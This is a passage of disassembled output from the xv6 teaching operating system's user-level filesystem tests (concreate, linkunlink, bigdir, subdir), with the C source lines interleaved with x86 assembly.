if(pid && (i % 3) == 1){
1a12: 75 9c jne 19b0 <concreate+0x30>
link("C0", file);
} else if(pid == 0 && (i % 5) == 1){
1a14: b8 67 66 66 66 mov $0x66666667,%eax
1a19: 89 f1 mov %esi,%ecx
1a1b: f7 ee imul %esi
1a1d: 89 f0 mov %esi,%eax
1a1f: c1 f8 1f sar $0x1f,%eax
1a22: d1 fa sar %edx
1a24: 29 c2 sub %eax,%edx
1a26: 8d 04 92 lea (%edx,%edx,4),%eax
1a29: 29 c1 sub %eax,%ecx
1a2b: 83 f9 01 cmp $0x1,%ecx
1a2e: 75 9a jne 19ca <concreate+0x4a>
link("C0", file);
1a30: 89 5c 24 04 mov %ebx,0x4(%esp)
1a34: c7 04 24 d1 47 00 00 movl $0x47d1,(%esp)
1a3b: e8 c2 22 00 00 call 3d02 <link>
continue;
if(de.name[0] == 'C' && de.name[2] == '\0'){
i = de.name[1] - '0';
if(i < 0 || i >= sizeof(fa)){
printf(1, "concreate weird file %s\n", de.name);
exit();
1a40: e8 5d 22 00 00 call 3ca2 <exit>
1a45: 8d 76 00 lea 0x0(%esi),%esi
for(i = 0; i < 40; i++){
file[1] = '0' + i;
unlink(file);
pid = fork();
if(pid && (i % 3) == 1){
link("C0", file);
1a48: 89 5c 24 04 mov %ebx,0x4(%esp)
} de;
printf(1, "concreate test\n");
file[0] = 'C';
file[2] = '\0';
for(i = 0; i < 40; i++){
1a4c: 83 c6 01 add $0x1,%esi
file[1] = '0' + i;
unlink(file);
pid = fork();
if(pid && (i % 3) == 1){
link("C0", file);
1a4f: c7 04 24 d1 47 00 00 movl $0x47d1,(%esp)
1a56: e8 a7 22 00 00 call 3d02 <link>
close(fd);
}
if(pid == 0)
exit();
else
wait();
1a5b: e8 4a 22 00 00 call 3caa <wait>
} de;
printf(1, "concreate test\n");
file[0] = 'C';
file[2] = '\0';
for(i = 0; i < 40; i++){
1a60: 83 fe 28 cmp $0x28,%esi
1a63: 75 96 jne 19fb <concreate+0x7b>
1a65: 8d 76 00 lea 0x0(%esi),%esi
exit();
else
wait();
}
memset(fa, 0, sizeof(fa));
1a68: 8d 45 c0 lea -0x40(%ebp),%eax
1a6b: c7 44 24 08 28 00 00 movl $0x28,0x8(%esp)
1a72: 00
1a73: 8d 7d b0 lea -0x50(%ebp),%edi
1a76: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1a7d: 00
1a7e: 89 04 24 mov %eax,(%esp)
1a81: e8 aa 20 00 00 call 3b30 <memset>
fd = open(".", 0);
1a86: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1a8d: 00
1a8e: c7 04 24 de 49 00 00 movl $0x49de,(%esp)
1a95: e8 48 22 00 00 call 3ce2 <open>
n = 0;
1a9a: c7 45 a4 00 00 00 00 movl $0x0,-0x5c(%ebp)
else
wait();
}
memset(fa, 0, sizeof(fa));
fd = open(".", 0);
1aa1: 89 c6 mov %eax,%esi
1aa3: 90 nop
1aa4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
n = 0;
while(read(fd, &de, sizeof(de)) > 0){
1aa8: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
1aaf: 00
1ab0: 89 7c 24 04 mov %edi,0x4(%esp)
1ab4: 89 34 24 mov %esi,(%esp)
1ab7: e8 fe 21 00 00 call 3cba <read>
1abc: 85 c0 test %eax,%eax
1abe: 7e 40 jle 1b00 <concreate+0x180>
if(de.inum == 0)
1ac0: 66 83 7d b0 00 cmpw $0x0,-0x50(%ebp)
1ac5: 74 e1 je 1aa8 <concreate+0x128>
continue;
if(de.name[0] == 'C' && de.name[2] == '\0'){
1ac7: 80 7d b2 43 cmpb $0x43,-0x4e(%ebp)
1acb: 75 db jne 1aa8 <concreate+0x128>
1acd: 80 7d b4 00 cmpb $0x0,-0x4c(%ebp)
1ad1: 75 d5 jne 1aa8 <concreate+0x128>
i = de.name[1] - '0';
1ad3: 0f be 45 b3 movsbl -0x4d(%ebp),%eax
1ad7: 83 e8 30 sub $0x30,%eax
if(i < 0 || i >= sizeof(fa)){
1ada: 83 f8 27 cmp $0x27,%eax
1add: 0f 87 5f 01 00 00 ja 1c42 <concreate+0x2c2>
printf(1, "concreate weird file %s\n", de.name);
exit();
}
if(fa[i]){
1ae3: 80 7c 05 c0 00 cmpb $0x0,-0x40(%ebp,%eax,1)
1ae8: 0f 85 8d 01 00 00 jne 1c7b <concreate+0x2fb>
printf(1, "concreate duplicate file %s\n", de.name);
exit();
}
fa[i] = 1;
1aee: c6 44 05 c0 01 movb $0x1,-0x40(%ebp,%eax,1)
n++;
1af3: 83 45 a4 01 addl $0x1,-0x5c(%ebp)
1af7: eb af jmp 1aa8 <concreate+0x128>
1af9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
}
}
close(fd);
1b00: 89 34 24 mov %esi,(%esp)
1b03: e8 c2 21 00 00 call 3cca <close>
if(n != 40){
1b08: 83 7d a4 28 cmpl $0x28,-0x5c(%ebp)
1b0c: 0f 85 50 01 00 00 jne 1c62 <concreate+0x2e2>
1b12: 31 f6 xor %esi,%esi
1b14: eb 7f jmp 1b95 <concreate+0x215>
1b16: 66 90 xchg %ax,%ax
if(pid < 0){
printf(1, "fork failed\n");
exit();
}
if(((i % 3) == 0 && pid == 0) ||
((i % 3) == 1 && pid != 0)){
1b18: 85 ff test %edi,%edi
1b1a: 0f 84 ae 00 00 00 je 1bce <concreate+0x24e>
close(open(file, 0));
1b20: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1b27: 00
1b28: 89 1c 24 mov %ebx,(%esp)
1b2b: e8 b2 21 00 00 call 3ce2 <open>
1b30: 89 04 24 mov %eax,(%esp)
1b33: e8 92 21 00 00 call 3cca <close>
close(open(file, 0));
1b38: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1b3f: 00
1b40: 89 1c 24 mov %ebx,(%esp)
1b43: e8 9a 21 00 00 call 3ce2 <open>
1b48: 89 04 24 mov %eax,(%esp)
1b4b: e8 7a 21 00 00 call 3cca <close>
close(open(file, 0));
1b50: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1b57: 00
1b58: 89 1c 24 mov %ebx,(%esp)
1b5b: e8 82 21 00 00 call 3ce2 <open>
1b60: 89 04 24 mov %eax,(%esp)
1b63: e8 62 21 00 00 call 3cca <close>
close(open(file, 0));
1b68: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1b6f: 00
1b70: 89 1c 24 mov %ebx,(%esp)
1b73: e8 6a 21 00 00 call 3ce2 <open>
1b78: 89 04 24 mov %eax,(%esp)
1b7b: e8 4a 21 00 00 call 3cca <close>
unlink(file);
unlink(file);
unlink(file);
unlink(file);
}
if(pid == 0)
1b80: 85 ff test %edi,%edi
1b82: 0f 84 b8 fe ff ff je 1a40 <concreate+0xc0>
if(n != 40){
printf(1, "concreate not enough files in directory listing\n");
exit();
}
for(i = 0; i < 40; i++){
1b88: 83 c6 01 add $0x1,%esi
unlink(file);
}
if(pid == 0)
exit();
else
wait();
1b8b: e8 1a 21 00 00 call 3caa <wait>
if(n != 40){
printf(1, "concreate not enough files in directory listing\n");
exit();
}
for(i = 0; i < 40; i++){
1b90: 83 fe 28 cmp $0x28,%esi
1b93: 74 5b je 1bf0 <concreate+0x270>
1b95: 8d 46 30 lea 0x30(%esi),%eax
1b98: 88 45 ae mov %al,-0x52(%ebp)
file[1] = '0' + i;
pid = fork();
1b9b: e8 fa 20 00 00 call 3c9a <fork>
if(pid < 0){
1ba0: 85 c0 test %eax,%eax
exit();
}
for(i = 0; i < 40; i++){
file[1] = '0' + i;
pid = fork();
1ba2: 89 c7 mov %eax,%edi
if(pid < 0){
1ba4: 78 66 js 1c0c <concreate+0x28c>
printf(1, "fork failed\n");
exit();
}
if(((i % 3) == 0 && pid == 0) ||
1ba6: b8 56 55 55 55 mov $0x55555556,%eax
1bab: f7 ee imul %esi
1bad: 89 f0 mov %esi,%eax
1baf: c1 f8 1f sar $0x1f,%eax
1bb2: 29 c2 sub %eax,%edx
1bb4: 8d 04 52 lea (%edx,%edx,2),%eax
1bb7: 89 f2 mov %esi,%edx
1bb9: 29 c2 sub %eax,%edx
1bbb: 89 d0 mov %edx,%eax
1bbd: 09 f8 or %edi,%eax
1bbf: 0f 84 5b ff ff ff je 1b20 <concreate+0x1a0>
1bc5: 83 fa 01 cmp $0x1,%edx
1bc8: 0f 84 4a ff ff ff je 1b18 <concreate+0x198>
close(open(file, 0));
close(open(file, 0));
close(open(file, 0));
close(open(file, 0));
} else {
unlink(file);
1bce: 89 1c 24 mov %ebx,(%esp)
1bd1: e8 1c 21 00 00 call 3cf2 <unlink>
unlink(file);
1bd6: 89 1c 24 mov %ebx,(%esp)
1bd9: e8 14 21 00 00 call 3cf2 <unlink>
unlink(file);
1bde: 89 1c 24 mov %ebx,(%esp)
1be1: e8 0c 21 00 00 call 3cf2 <unlink>
unlink(file);
1be6: 89 1c 24 mov %ebx,(%esp)
1be9: e8 04 21 00 00 call 3cf2 <unlink>
1bee: eb 90 jmp 1b80 <concreate+0x200>
exit();
else
wait();
}
printf(1, "concreate ok\n");
1bf0: c7 44 24 04 26 48 00 movl $0x4826,0x4(%esp)
1bf7: 00
1bf8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1bff: e8 fc 21 00 00 call 3e00 <printf>
}
1c04: 83 c4 5c add $0x5c,%esp
1c07: 5b pop %ebx
1c08: 5e pop %esi
1c09: 5f pop %edi
1c0a: 5d pop %ebp
1c0b: c3 ret
for(i = 0; i < 40; i++){
file[1] = '0' + i;
pid = fork();
if(pid < 0){
printf(1, "fork failed\n");
1c0c: c7 44 24 04 a9 50 00 movl $0x50a9,0x4(%esp)
1c13: 00
1c14: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c1b: e8 e0 21 00 00 call 3e00 <printf>
exit();
1c20: e8 7d 20 00 00 call 3ca2 <exit>
} else if(pid == 0 && (i % 5) == 1){
link("C0", file);
} else {
fd = open(file, O_CREATE | O_RDWR);
if(fd < 0){
printf(1, "concreate create %s failed\n", file);
1c25: 89 5c 24 08 mov %ebx,0x8(%esp)
1c29: c7 44 24 04 d4 47 00 movl $0x47d4,0x4(%esp)
1c30: 00
1c31: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c38: e8 c3 21 00 00 call 3e00 <printf>
exit();
1c3d: e8 60 20 00 00 call 3ca2 <exit>
if(de.inum == 0)
continue;
if(de.name[0] == 'C' && de.name[2] == '\0'){
i = de.name[1] - '0';
if(i < 0 || i >= sizeof(fa)){
printf(1, "concreate weird file %s\n", de.name);
1c42: 8d 45 b2 lea -0x4e(%ebp),%eax
1c45: 89 44 24 08 mov %eax,0x8(%esp)
1c49: c7 44 24 04 f0 47 00 movl $0x47f0,0x4(%esp)
1c50: 00
1c51: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c58: e8 a3 21 00 00 call 3e00 <printf>
1c5d: e9 de fd ff ff jmp 1a40 <concreate+0xc0>
}
}
close(fd);
if(n != 40){
printf(1, "concreate not enough files in directory listing\n");
1c62: c7 44 24 04 70 53 00 movl $0x5370,0x4(%esp)
1c69: 00
1c6a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c71: e8 8a 21 00 00 call 3e00 <printf>
exit();
1c76: e8 27 20 00 00 call 3ca2 <exit>
if(i < 0 || i >= sizeof(fa)){
printf(1, "concreate weird file %s\n", de.name);
exit();
}
if(fa[i]){
printf(1, "concreate duplicate file %s\n", de.name);
1c7b: 8d 45 b2 lea -0x4e(%ebp),%eax
1c7e: 89 44 24 08 mov %eax,0x8(%esp)
1c82: c7 44 24 04 09 48 00 movl $0x4809,0x4(%esp)
1c89: 00
1c8a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1c91: e8 6a 21 00 00 call 3e00 <printf>
exit();
1c96: e8 07 20 00 00 call 3ca2 <exit>
1c9b: 90 nop
1c9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00001ca0 <linkunlink>:
// another concurrent link/unlink/create test,
// to look for deadlocks.
void
linkunlink()
{
1ca0: 55 push %ebp
1ca1: 89 e5 mov %esp,%ebp
1ca3: 57 push %edi
1ca4: 56 push %esi
1ca5: 53 push %ebx
1ca6: 83 ec 1c sub $0x1c,%esp
int pid, i;
printf(1, "linkunlink test\n");
1ca9: c7 44 24 04 34 48 00 movl $0x4834,0x4(%esp)
1cb0: 00
1cb1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1cb8: e8 43 21 00 00 call 3e00 <printf>
unlink("x");
1cbd: c7 04 24 c1 4a 00 00 movl $0x4ac1,(%esp)
1cc4: e8 29 20 00 00 call 3cf2 <unlink>
pid = fork();
1cc9: e8 cc 1f 00 00 call 3c9a <fork>
if(pid < 0){
1cce: 85 c0 test %eax,%eax
int pid, i;
printf(1, "linkunlink test\n");
unlink("x");
pid = fork();
1cd0: 89 45 e4 mov %eax,-0x1c(%ebp)
if(pid < 0){
1cd3: 0f 88 b8 00 00 00 js 1d91 <linkunlink+0xf1>
printf(1, "fork failed\n");
exit();
}
unsigned int x = (pid ? 1 : 97);
1cd9: 83 7d e4 01 cmpl $0x1,-0x1c(%ebp)
1cdd: bb 64 00 00 00 mov $0x64,%ebx
for(i = 0; i < 100; i++){
x = x * 1103515245 + 12345;
if((x % 3) == 0){
1ce2: be ab aa aa aa mov $0xaaaaaaab,%esi
if(pid < 0){
printf(1, "fork failed\n");
exit();
}
unsigned int x = (pid ? 1 : 97);
1ce7: 19 ff sbb %edi,%edi
1ce9: 83 e7 60 and $0x60,%edi
1cec: 83 c7 01 add $0x1,%edi
1cef: eb 1d jmp 1d0e <linkunlink+0x6e>
1cf1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(i = 0; i < 100; i++){
x = x * 1103515245 + 12345;
if((x % 3) == 0){
close(open("x", O_RDWR | O_CREATE));
} else if((x % 3) == 1){
1cf8: 83 fa 01 cmp $0x1,%edx
1cfb: 74 7b je 1d78 <linkunlink+0xd8>
link("cat", "x");
} else {
unlink("x");
1cfd: c7 04 24 c1 4a 00 00 movl $0x4ac1,(%esp)
1d04: e8 e9 1f 00 00 call 3cf2 <unlink>
printf(1, "fork failed\n");
exit();
}
unsigned int x = (pid ? 1 : 97);
for(i = 0; i < 100; i++){
1d09: 83 eb 01 sub $0x1,%ebx
1d0c: 74 3c je 1d4a <linkunlink+0xaa>
x = x * 1103515245 + 12345;
1d0e: 69 cf 6d 4e c6 41 imul $0x41c64e6d,%edi,%ecx
1d14: 8d b9 39 30 00 00 lea 0x3039(%ecx),%edi
if((x % 3) == 0){
1d1a: 89 f8 mov %edi,%eax
1d1c: f7 e6 mul %esi
1d1e: d1 ea shr %edx
1d20: 8d 04 52 lea (%edx,%edx,2),%eax
1d23: 89 fa mov %edi,%edx
1d25: 29 c2 sub %eax,%edx
1d27: 75 cf jne 1cf8 <linkunlink+0x58>
close(open("x", O_RDWR | O_CREATE));
1d29: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1d30: 00
1d31: c7 04 24 c1 4a 00 00 movl $0x4ac1,(%esp)
1d38: e8 a5 1f 00 00 call 3ce2 <open>
1d3d: 89 04 24 mov %eax,(%esp)
1d40: e8 85 1f 00 00 call 3cca <close>
printf(1, "fork failed\n");
exit();
}
unsigned int x = (pid ? 1 : 97);
for(i = 0; i < 100; i++){
1d45: 83 eb 01 sub $0x1,%ebx
1d48: 75 c4 jne 1d0e <linkunlink+0x6e>
} else {
unlink("x");
}
}
if(pid)
1d4a: 8b 45 e4 mov -0x1c(%ebp),%eax
1d4d: 85 c0 test %eax,%eax
1d4f: 74 59 je 1daa <linkunlink+0x10a>
wait();
1d51: e8 54 1f 00 00 call 3caa <wait>
else
exit();
printf(1, "linkunlink ok\n");
1d56: c7 44 24 04 49 48 00 movl $0x4849,0x4(%esp)
1d5d: 00
1d5e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1d65: e8 96 20 00 00 call 3e00 <printf>
}
1d6a: 83 c4 1c add $0x1c,%esp
1d6d: 5b pop %ebx
1d6e: 5e pop %esi
1d6f: 5f pop %edi
1d70: 5d pop %ebp
1d71: c3 ret
1d72: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(i = 0; i < 100; i++){
x = x * 1103515245 + 12345;
if((x % 3) == 0){
close(open("x", O_RDWR | O_CREATE));
} else if((x % 3) == 1){
link("cat", "x");
1d78: c7 44 24 04 c1 4a 00 movl $0x4ac1,0x4(%esp)
1d7f: 00
1d80: c7 04 24 45 48 00 00 movl $0x4845,(%esp)
1d87: e8 76 1f 00 00 call 3d02 <link>
1d8c: e9 78 ff ff ff jmp 1d09 <linkunlink+0x69>
printf(1, "linkunlink test\n");
unlink("x");
pid = fork();
if(pid < 0){
printf(1, "fork failed\n");
1d91: c7 44 24 04 a9 50 00 movl $0x50a9,0x4(%esp)
1d98: 00
1d99: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1da0: e8 5b 20 00 00 call 3e00 <printf>
exit();
1da5: e8 f8 1e 00 00 call 3ca2 <exit>
}
if(pid)
wait();
else
exit();
1daa: e8 f3 1e 00 00 call 3ca2 <exit>
1daf: 90 nop
00001db0 <bigdir>:
}
// directory that uses indirect blocks
void
bigdir(void)
{
1db0: 55 push %ebp
1db1: 89 e5 mov %esp,%ebp
1db3: 56 push %esi
1db4: 53 push %ebx
1db5: 83 ec 20 sub $0x20,%esp
int i, fd;
char name[10];
printf(1, "bigdir test\n");
1db8: c7 44 24 04 58 48 00 movl $0x4858,0x4(%esp)
1dbf: 00
1dc0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1dc7: e8 34 20 00 00 call 3e00 <printf>
unlink("bd");
1dcc: c7 04 24 65 48 00 00 movl $0x4865,(%esp)
1dd3: e8 1a 1f 00 00 call 3cf2 <unlink>
fd = open("bd", O_CREATE);
1dd8: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
1ddf: 00
1de0: c7 04 24 65 48 00 00 movl $0x4865,(%esp)
1de7: e8 f6 1e 00 00 call 3ce2 <open>
if(fd < 0){
1dec: 85 c0 test %eax,%eax
1dee: 0f 88 e6 00 00 00 js 1eda <bigdir+0x12a>
printf(1, "bigdir create failed\n");
exit();
}
close(fd);
1df4: 89 04 24 mov %eax,(%esp)
for(i = 0; i < 500; i++){
1df7: 31 db xor %ebx,%ebx
fd = open("bd", O_CREATE);
if(fd < 0){
printf(1, "bigdir create failed\n");
exit();
}
close(fd);
1df9: e8 cc 1e 00 00 call 3cca <close>
1dfe: 8d 75 ee lea -0x12(%ebp),%esi
1e01: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(i = 0; i < 500; i++){
name[0] = 'x';
name[1] = '0' + (i / 64);
1e08: 89 d8 mov %ebx,%eax
1e0a: c1 f8 06 sar $0x6,%eax
1e0d: 83 c0 30 add $0x30,%eax
1e10: 88 45 ef mov %al,-0x11(%ebp)
name[2] = '0' + (i % 64);
1e13: 89 d8 mov %ebx,%eax
1e15: 83 e0 3f and $0x3f,%eax
1e18: 83 c0 30 add $0x30,%eax
name[3] = '\0';
if(link("bd", name) != 0){
1e1b: 89 74 24 04 mov %esi,0x4(%esp)
1e1f: c7 04 24 65 48 00 00 movl $0x4865,(%esp)
exit();
}
close(fd);
for(i = 0; i < 500; i++){
name[0] = 'x';
1e26: c6 45 ee 78 movb $0x78,-0x12(%ebp)
name[1] = '0' + (i / 64);
name[2] = '0' + (i % 64);
1e2a: 88 45 f0 mov %al,-0x10(%ebp)
name[3] = '\0';
1e2d: c6 45 f1 00 movb $0x0,-0xf(%ebp)
if(link("bd", name) != 0){
1e31: e8 cc 1e 00 00 call 3d02 <link>
1e36: 85 c0 test %eax,%eax
1e38: 75 6e jne 1ea8 <bigdir+0xf8>
printf(1, "bigdir create failed\n");
exit();
}
close(fd);
for(i = 0; i < 500; i++){
1e3a: 83 c3 01 add $0x1,%ebx
1e3d: 81 fb f4 01 00 00 cmp $0x1f4,%ebx
1e43: 75 c3 jne 1e08 <bigdir+0x58>
printf(1, "bigdir link failed\n");
exit();
}
}
unlink("bd");
1e45: c7 04 24 65 48 00 00 movl $0x4865,(%esp)
for(i = 0; i < 500; i++){
1e4c: 66 31 db xor %bx,%bx
printf(1, "bigdir link failed\n");
exit();
}
}
unlink("bd");
1e4f: e8 9e 1e 00 00 call 3cf2 <unlink>
1e54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(i = 0; i < 500; i++){
name[0] = 'x';
name[1] = '0' + (i / 64);
1e58: 89 d8 mov %ebx,%eax
1e5a: c1 f8 06 sar $0x6,%eax
1e5d: 83 c0 30 add $0x30,%eax
1e60: 88 45 ef mov %al,-0x11(%ebp)
name[2] = '0' + (i % 64);
1e63: 89 d8 mov %ebx,%eax
1e65: 83 e0 3f and $0x3f,%eax
1e68: 83 c0 30 add $0x30,%eax
name[3] = '\0';
if(unlink(name) != 0){
1e6b: 89 34 24 mov %esi,(%esp)
}
}
unlink("bd");
for(i = 0; i < 500; i++){
name[0] = 'x';
1e6e: c6 45 ee 78 movb $0x78,-0x12(%ebp)
name[1] = '0' + (i / 64);
name[2] = '0' + (i % 64);
1e72: 88 45 f0 mov %al,-0x10(%ebp)
name[3] = '\0';
1e75: c6 45 f1 00 movb $0x0,-0xf(%ebp)
if(unlink(name) != 0){
1e79: e8 74 1e 00 00 call 3cf2 <unlink>
1e7e: 85 c0 test %eax,%eax
1e80: 75 3f jne 1ec1 <bigdir+0x111>
exit();
}
}
unlink("bd");
for(i = 0; i < 500; i++){
1e82: 83 c3 01 add $0x1,%ebx
1e85: 81 fb f4 01 00 00 cmp $0x1f4,%ebx
1e8b: 75 cb jne 1e58 <bigdir+0xa8>
printf(1, "bigdir unlink failed");
exit();
}
}
printf(1, "bigdir ok\n");
1e8d: c7 44 24 04 a7 48 00 movl $0x48a7,0x4(%esp)
1e94: 00
1e95: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1e9c: e8 5f 1f 00 00 call 3e00 <printf>
}
1ea1: 83 c4 20 add $0x20,%esp
1ea4: 5b pop %ebx
1ea5: 5e pop %esi
1ea6: 5d pop %ebp
1ea7: c3 ret
name[0] = 'x';
name[1] = '0' + (i / 64);
name[2] = '0' + (i % 64);
name[3] = '\0';
if(link("bd", name) != 0){
printf(1, "bigdir link failed\n");
1ea8: c7 44 24 04 7e 48 00 movl $0x487e,0x4(%esp)
1eaf: 00
1eb0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1eb7: e8 44 1f 00 00 call 3e00 <printf>
exit();
1ebc: e8 e1 1d 00 00 call 3ca2 <exit>
name[0] = 'x';
name[1] = '0' + (i / 64);
name[2] = '0' + (i % 64);
name[3] = '\0';
if(unlink(name) != 0){
printf(1, "bigdir unlink failed");
1ec1: c7 44 24 04 92 48 00 movl $0x4892,0x4(%esp)
1ec8: 00
1ec9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1ed0: e8 2b 1f 00 00 call 3e00 <printf>
exit();
1ed5: e8 c8 1d 00 00 call 3ca2 <exit>
printf(1, "bigdir test\n");
unlink("bd");
fd = open("bd", O_CREATE);
if(fd < 0){
printf(1, "bigdir create failed\n");
1eda: c7 44 24 04 68 48 00 movl $0x4868,0x4(%esp)
1ee1: 00
1ee2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1ee9: e8 12 1f 00 00 call 3e00 <printf>
exit();
1eee: e8 af 1d 00 00 call 3ca2 <exit>
1ef3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1ef9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00001f00 <subdir>:
printf(1, "bigdir ok\n");
}
void
subdir(void)
{
1f00: 55 push %ebp
1f01: 89 e5 mov %esp,%ebp
1f03: 53 push %ebx
1f04: 83 ec 14 sub $0x14,%esp
int fd, cc;
printf(1, "subdir test\n");
1f07: c7 44 24 04 b2 48 00 movl $0x48b2,0x4(%esp)
1f0e: 00
1f0f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1f16: e8 e5 1e 00 00 call 3e00 <printf>
unlink("ff");
1f1b: c7 04 24 3b 49 00 00 movl $0x493b,(%esp)
1f22: e8 cb 1d 00 00 call 3cf2 <unlink>
if(mkdir("dd") != 0){
1f27: c7 04 24 d8 49 00 00 movl $0x49d8,(%esp)
1f2e: e8 d7 1d 00 00 call 3d0a <mkdir>
1f33: 85 c0 test %eax,%eax
1f35: 0f 85 07 06 00 00 jne 2542 <subdir+0x642>
printf(1, "subdir mkdir dd failed\n");
exit();
}
fd = open("dd/ff", O_CREATE | O_RDWR);
1f3b: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1f42: 00
1f43: c7 04 24 11 49 00 00 movl $0x4911,(%esp)
1f4a: e8 93 1d 00 00 call 3ce2 <open>
if(fd < 0){
1f4f: 85 c0 test %eax,%eax
if(mkdir("dd") != 0){
printf(1, "subdir mkdir dd failed\n");
exit();
}
fd = open("dd/ff", O_CREATE | O_RDWR);
1f51: 89 c3 mov %eax,%ebx
if(fd < 0){
1f53: 0f 88 d0 05 00 00 js 2529 <subdir+0x629>
printf(1, "create dd/ff failed\n");
exit();
}
write(fd, "ff", 2);
1f59: c7 44 24 08 02 00 00 movl $0x2,0x8(%esp)
1f60: 00
1f61: c7 44 24 04 3b 49 00 movl $0x493b,0x4(%esp)
1f68: 00
1f69: 89 04 24 mov %eax,(%esp)
1f6c: e8 51 1d 00 00 call 3cc2 <write>
close(fd);
1f71: 89 1c 24 mov %ebx,(%esp)
1f74: e8 51 1d 00 00 call 3cca <close>
if(unlink("dd") >= 0){
1f79: c7 04 24 d8 49 00 00 movl $0x49d8,(%esp)
1f80: e8 6d 1d 00 00 call 3cf2 <unlink>
1f85: 85 c0 test %eax,%eax
1f87: 0f 89 83 05 00 00 jns 2510 <subdir+0x610>
printf(1, "unlink dd (non-empty dir) succeeded!\n");
exit();
}
if(mkdir("/dd/dd") != 0){
1f8d: c7 04 24 ec 48 00 00 movl $0x48ec,(%esp)
1f94: e8 71 1d 00 00 call 3d0a <mkdir>
1f99: 85 c0 test %eax,%eax
1f9b: 0f 85 56 05 00 00 jne 24f7 <subdir+0x5f7>
printf(1, "subdir mkdir dd/dd failed\n");
exit();
}
fd = open("dd/dd/ff", O_CREATE | O_RDWR);
1fa1: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1fa8: 00
1fa9: c7 04 24 0e 49 00 00 movl $0x490e,(%esp)
1fb0: e8 2d 1d 00 00 call 3ce2 <open>
if(fd < 0){
1fb5: 85 c0 test %eax,%eax
if(mkdir("/dd/dd") != 0){
printf(1, "subdir mkdir dd/dd failed\n");
exit();
}
fd = open("dd/dd/ff", O_CREATE | O_RDWR);
1fb7: 89 c3 mov %eax,%ebx
if(fd < 0){
1fb9: 0f 88 25 04 00 00 js 23e4 <subdir+0x4e4>
printf(1, "create dd/dd/ff failed\n");
exit();
}
write(fd, "FF", 2);
1fbf: c7 44 24 08 02 00 00 movl $0x2,0x8(%esp)
1fc6: 00
1fc7: c7 44 24 04 2f 49 00 movl $0x492f,0x4(%esp)
1fce: 00
1fcf: 89 04 24 mov %eax,(%esp)
1fd2: e8 eb 1c 00 00 call 3cc2 <write>
close(fd);
1fd7: 89 1c 24 mov %ebx,(%esp)
1fda: e8 eb 1c 00 00 call 3cca <close>
fd = open("dd/dd/../ff", 0);
1fdf: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1fe6: 00
1fe7: c7 04 24 32 49 00 00 movl $0x4932,(%esp)
1fee: e8 ef 1c 00 00 call 3ce2 <open>
if(fd < 0){
1ff3: 85 c0 test %eax,%eax
exit();
}
write(fd, "FF", 2);
close(fd);
fd = open("dd/dd/../ff", 0);
1ff5: 89 c3 mov %eax,%ebx
if(fd < 0){
1ff7: 0f 88 ce 03 00 00 js 23cb <subdir+0x4cb>
printf(1, "open dd/dd/../ff failed\n");
exit();
}
cc = read(fd, buf, sizeof(buf));
1ffd: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
2004: 00
2005: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
200c: 00
200d: 89 04 24 mov %eax,(%esp)
2010: e8 a5 1c 00 00 call 3cba <read>
if(cc != 2 || buf[0] != 'f'){
2015: 83 f8 02 cmp $0x2,%eax
2018: 0f 85 fe 02 00 00 jne 231c <subdir+0x41c>
201e: 80 3d c0 89 00 00 66 cmpb $0x66,0x89c0
2025: 0f 85 f1 02 00 00 jne 231c <subdir+0x41c>
printf(1, "dd/dd/../ff wrong content\n");
exit();
}
close(fd);
202b: 89 1c 24 mov %ebx,(%esp)
202e: e8 97 1c 00 00 call 3cca <close>
if(link("dd/dd/ff", "dd/dd/ffff") != 0){
2033: c7 44 24 04 72 49 00 movl $0x4972,0x4(%esp)
203a: 00
203b: c7 04 24 0e 49 00 00 movl $0x490e,(%esp)
2042: e8 bb 1c 00 00 call 3d02 <link>
2047: 85 c0 test %eax,%eax
2049: 0f 85 c7 03 00 00 jne 2416 <subdir+0x516>
printf(1, "link dd/dd/ff dd/dd/ffff failed\n");
exit();
}
if(unlink("dd/dd/ff") != 0){
204f: c7 04 24 0e 49 00 00 movl $0x490e,(%esp)
2056: e8 97 1c 00 00 call 3cf2 <unlink>
205b: 85 c0 test %eax,%eax
205d: 0f 85 eb 02 00 00 jne 234e <subdir+0x44e>
printf(1, "unlink dd/dd/ff failed\n");
exit();
}
if(open("dd/dd/ff", O_RDONLY) >= 0){
2063: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
206a: 00
206b: c7 04 24 0e 49 00 00 movl $0x490e,(%esp)
